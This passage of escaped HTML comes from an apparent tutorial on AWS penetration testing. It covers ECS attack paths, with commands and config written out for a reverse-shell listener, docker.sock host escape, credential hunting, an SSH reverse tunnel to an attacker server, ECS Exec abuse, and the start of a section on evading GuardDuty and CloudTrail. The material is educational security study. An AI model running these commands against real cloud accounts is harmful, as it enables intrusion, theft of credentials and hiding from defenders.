class="cl"&gt;aws ecs register-task-definition --cli-input-json file://evil-task.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs run-task --cluster my-cluster --task-definition evil-task&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;The attacker remotely controls the ECS task&lt;/li&gt;&#10;&lt;li&gt;Once the ECS task starts, it automatically opens a reverse Shell:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 4444&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;The attacker gains control of the ECS container and can continue attacking the ECS host or AWS resources&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Let&amp;rsquo;s talk about why the target would end up using our image. There are three main methods that can be combined: supply-chain attacks (tampering with a vendor image), image-name confusion attacks, and AWS ECS task-definition errors. These methods are pretty easy to understand, and there&amp;rsquo;s plenty about them online if you search.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-adding-credentials-as-environment-variables-in-a-task-definition"&gt;&lt;a href="#2-adding-credentials-as-environment-variables-in-a-task-definition" class="header-anchor"&gt;&lt;/a&gt;2. Adding Credentials as Environment Variables in a Task Definition&#10;&lt;/h5&gt;&lt;p&gt;ECS allows &lt;strong&gt;environment variables&lt;/strong&gt; in task definitions. If an administrator accidentally &lt;strong&gt;hardcodes AWS keys&lt;/strong&gt; in those environment variables, an attacker can obtain them.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;View the current task&amp;rsquo;s environment variables&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;env&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWS_ACCESS_KEY_ID=AKIAXXXX&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWS_SECRET_ACCESS_KEY=XXXXXX&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This means the ECS task has &lt;strong&gt;stored the AWS keys in environment variables&lt;/strong&gt;, and an attacker can use them directly.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-mounting-varrundockersock-to-access-the-host"&gt;&lt;a href="#3-mounting-varrundockersock-to-access-the-host" class="header-anchor"&gt;&lt;/a&gt;3. Mounting &lt;code&gt;/var/run/docker.sock&lt;/code&gt; to Access the Host&#10;&lt;/h5&gt;&lt;p&gt;An ECS task can mount the host&amp;rsquo;s &lt;code&gt;docker.sock&lt;/code&gt;. If an administrator misconfigures it, an attacker can &lt;strong&gt;directly control Docker on the host&lt;/strong&gt; and escape to the ECS host.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Mount&lt;/strong&gt; &lt;code&gt;docker.sock&lt;/code&gt; &lt;strong&gt;in the ECS task definition&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerDefinitions&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;privileged-container&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;image&amp;#34;: &amp;#34;ubuntu&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;mountPoints&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;sourceVolume&amp;#34;: &amp;#34;docker-sock&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerPath&amp;#34;: &amp;#34;/var/run/docker.sock&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;volumes&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;docker-sock&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;host&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;sourcePath&amp;#34;: &amp;#34;/var/run/docker.sock&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Once the ECS task is running, the attacker can directly control Docker from inside the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Enter the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker exec -it ecs-privileged-container /bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;docker.sock&lt;/code&gt; &lt;strong&gt;to control the ECS host&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock ps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;The attacker creates a new privileged container to escape from the ECS container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chroot /host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="ecs-on-fargate-penetration--escape"&gt;&lt;a href="#ecs-on-fargate-penetration--escape" class="header-anchor"&gt;&lt;/a&gt;ECS on Fargate Penetration &amp;amp; Escape&#10;&lt;/h4&gt;&lt;p&gt;All the scenarios mentioned earlier involved exploiting EC2 instances running as Docker hosts. In practice, they were all native Docker vulnerabilities, nothing particularly special. The abuse section then touched on a few AWS exploitation techniques, but that was really all there was to it.&#10;So what exactly is the Fargate option we have not used? It is actually an AWS serverless container service. You do not need to manage EC2 yourself; AWS handles it for you. So how do you penetrate it? Based on what we learned above, there is essentially no path for breaking out. Breaching the underlying AWS Fargate infrastructure would be a pipe dream for us. The methods available are still the basic ones. Forget about Docker vulnerabilities: you will not be given privileged mode or anything like that. There is no mystery here; it is actually very simple, so just make a note of it.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;When a Fargate task runs, AWS automatically assigns it an &lt;strong&gt;IAM Role&lt;/strong&gt; for accessing AWS resources. From inside the Fargate task, you can access the &lt;strong&gt;metadata service&lt;/strong&gt; (IMDSv2) to obtain &lt;strong&gt;temporary access credentials&lt;/strong&gt;. This is ECS metadata exploitation; just look up the commands. I am only showing the principle here.&lt;/li&gt;&#10;&lt;li&gt;A Fargate task&amp;rsquo;s task definition (Task Definition) may contain environment variables or mounted sensitive files. If an administrator misconfigures it, an attacker may obtain AWS access keys, read database passwords, or access sensitive S3 resources. In practice, this just means checking env for keys, looking for /root/.aws/credentials, and searching for files such as find / -name &amp;ldquo;*.pem&amp;rdquo;.&lt;/li&gt;&#10;&lt;li&gt;Fargate tasks can run in a &lt;strong&gt;public subnet&lt;/strong&gt; or a &lt;strong&gt;private subnet&lt;/strong&gt;. If an administrator misconfigures them:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task to access internal services in the AWS VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task to access other AWS resources&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task as a proxy server&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Finding a Fargate task&amp;rsquo;s network configuration&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route -n&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If &lt;code&gt;eth0&lt;/code&gt; is bound to a VPC CIDR, the &lt;strong&gt;Fargate task is running in a private subnet&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If &lt;code&gt;route -n&lt;/code&gt; &lt;strong&gt;contains 0.0.0.0/0&lt;/strong&gt;, the &lt;strong&gt;Fargate task can access the Internet&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Using a Fargate task to access internal AWS resources&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -z -v internal-rds.amazonaws.com 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -z -v internal-elasticsearch.amazonaws.com 9200&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Using a Fargate task to establish a reverse proxy&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The third point is slightly more complicated, so it deserves a separate explanation. A VPC can have many different network configurations. If all kinds of AWS services are running across its subnets, we can build a tunnel to access them. You can think of it as entering the cloud-side internal network of the target AWS account. There may be a bunch of EC2 instances inside, or other things as well. From there, it is simply a matter of lateral movement through the cloud.&lt;/p&gt;&#10;&lt;h4 id="additional-ecs-container-exploitation"&gt;&lt;a href="#additional-ecs-container-exploitation" class="header-anchor"&gt;&lt;/a&gt;Additional ECS Container Exploitation&#10;&lt;/h4&gt;&lt;h5 id="abusing-ecs-exec"&gt;&lt;a href="#abusing-ecs-exec" class="header-anchor"&gt;&lt;/a&gt;Abusing ECS Exec&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Legitimate purpose&lt;/strong&gt;:&#10;AWS ECS Exec is designed to provide debugging capabilities, allowing operations staff to enter a container directly through the AWS CLI or console and execute commands, such as checking logs or debugging services.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Core requirements&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;The task definition must enable &lt;code&gt;&amp;quot;enableExecuteCommand&amp;quot;: true&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;The operator must have the &lt;code&gt;ecs:ExecuteCommand&lt;/code&gt; IAM permission.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Attack Scenarios and Exploitation Conditions&lt;/p&gt;&#10;&lt;p&gt;Prerequisites&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Credential exposure&lt;/strong&gt;: The attacker has obtained IAM credentials with the &lt;code&gt;ecs:ExecuteCommand&lt;/code&gt; permission, such as a developer account or an overprivileged role.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Task misconfiguration&lt;/strong&gt;: &lt;code&gt;enableExecuteCommand&lt;/code&gt; is enabled in the task definition, and the relevant permissions have not been restricted.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Enumerate executable tasks&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all ECS clusters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs list-clusters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List tasks in the cluster&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs list-tasks --cluster &amp;lt;CLUSTER_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether Exec is enabled for the task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs describe-tasks --cluster &amp;lt;CLUSTER&amp;gt; --tasks &amp;lt;TASK_ID&amp;gt; | grep &amp;#34;enableExecuteCommand&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Enter the container through Exec&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the AWS CLI to execute a command (for example, start an interactive shell)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs execute-command \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cluster &amp;lt;CLUSTER_NAME&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --task &amp;lt;TASK_ID&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --container &amp;lt;CONTAINER_NAME&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --command &amp;#34;/bin/sh&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --interactive&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If successful, the attacker gains Shell access inside the container.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="conclusion-to-advanced-attack-techniques"&gt;&lt;a href="#conclusion-to-advanced-attack-techniques" class="header-anchor"&gt;&lt;/a&gt;Conclusion to Advanced Attack Techniques&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;At this point, we have essentially covered every part of AWS penetration testing. The advanced techniques are clearly much harder than the earlier material. The earlier sections focused on basic service exploitation methods, standard penetration-testing workflows, and so on, whereas advanced attacks involve combining multiple services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Take leaked AWS CLI credentials as an example. The basics only teach what a particular permission does, how to reproduce the scenario, and how to use that permission for penetration testing. The advanced material is more about finding leaks, escalating privileges, and establishing persistence. It brushes over the basics and only mentions which permissions exist and which permissions can be combined for an attack. It no longer spends ages on any single service. Like the outline headings suggest, it combines techniques, ideas, and methods.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Then there are malicious CloudFormation templates. While learning them, you might think, &amp;ldquo;How is this any different from before? Aren&amp;rsquo;t we still just learning all the services in CloudFormation?&amp;rdquo; The difference is that you first need to understand the characteristics of every service. We know that CloudFormation templates can be used in penetration testing and can obtain extensive permissions, but do you know how to create a highly privileged user or role? The template runs without returning output, so how do you retrieve the generated key? It is more like a collection of exploitation techniques spanning every service, with the CloudFormation template serving as the vehicle. It can control all AWS services, and learning to use it assumes that you already know all those AWS services.&lt;/p&gt;&#10;&lt;p&gt;The final topic is ECS containers. I wrote a few thoughts at the end of the ECS container escape section. Most people probably assume that learning to penetrate ECS simply means learning Docker penetration testing, and everyone knows that ECS resembles K8S. But ECS lives in the cloud. It is not limited to attacks involving Docker access; there is a cloud side as well. Anyone who has finished building an ECS environment knows that the setup is somewhat complicated, which also shows how well designed the architecture is. When learning AWS cloud security, you cannot focus solely on attack techniques and commands. It is not enough if you do not understand the logic behind them. After you have fallen into a pile of traps while setting up ECS and finally get it working, you understand the principles behind the service.&lt;/p&gt;&#10;&lt;p&gt;In reality, offense and defense are inseparable, and studying both is extremely important for understanding. It means you can work on both blue and red teams, with each side helping the other grow. By this point, you have also learned a great deal about AWS services and discovered that even the free offerings can do a lot. As I said in the AWS fundamentals section, you can already try building a website, creating a storage bucket for files, and much more. This section covered a lot of penetration-testing material, which means that after building your own environment, you can try establishing a security baseline for your AWS services. Once you understand how they are attacked, you know what areas your defenses should focus on.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;There is one final major module left in AWS penetration testing &amp;mdash;&amp;ndash; defense evasion techniques&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h2 id="defense-evasion-techniques"&gt;&lt;a href="#defense-evasion-techniques" class="header-anchor"&gt;&lt;/a&gt;Defense Evasion Techniques&#10;&lt;/h2&gt;&lt;p&gt;This part is extremely difficult, but it is also very useful. For the most part, I will only list a heading and explain the principle, since implementation is somewhat difficult. Experts can try implementing these techniques themselves. Once I have finished more of my studies, I will also start moving in this direction.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;AWS has several security monitoring and logging mechanisms, such as:&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;GuardDuty&lt;/strong&gt; (intrusion detection)&#10;&lt;strong&gt;CloudTrail&lt;/strong&gt; (API event logs)&#10;&lt;strong&gt;VPC Flow Logs&lt;/strong&gt; (traffic monitoring)&#10;&lt;strong&gt;AWS Config&lt;/strong&gt; (compliance monitoring)&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The attacker&amp;rsquo;s goal&lt;/strong&gt; is to &lt;strong&gt;bypass these monitoring mechanisms and hide malicious actions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h3 id="guardduty-evasion-techniques"&gt;&lt;a href="#guardduty-evasion-techniques" class="header-anchor"&gt;&lt;/a&gt;GuardDuty Evasion Techniques&#10;&lt;/h3&gt;&lt;h4 id="low-frequency-api-calls"&gt;&lt;a href="#low-frequency-api-calls" class="header-anchor"&gt;&lt;/a&gt;Low-Frequency 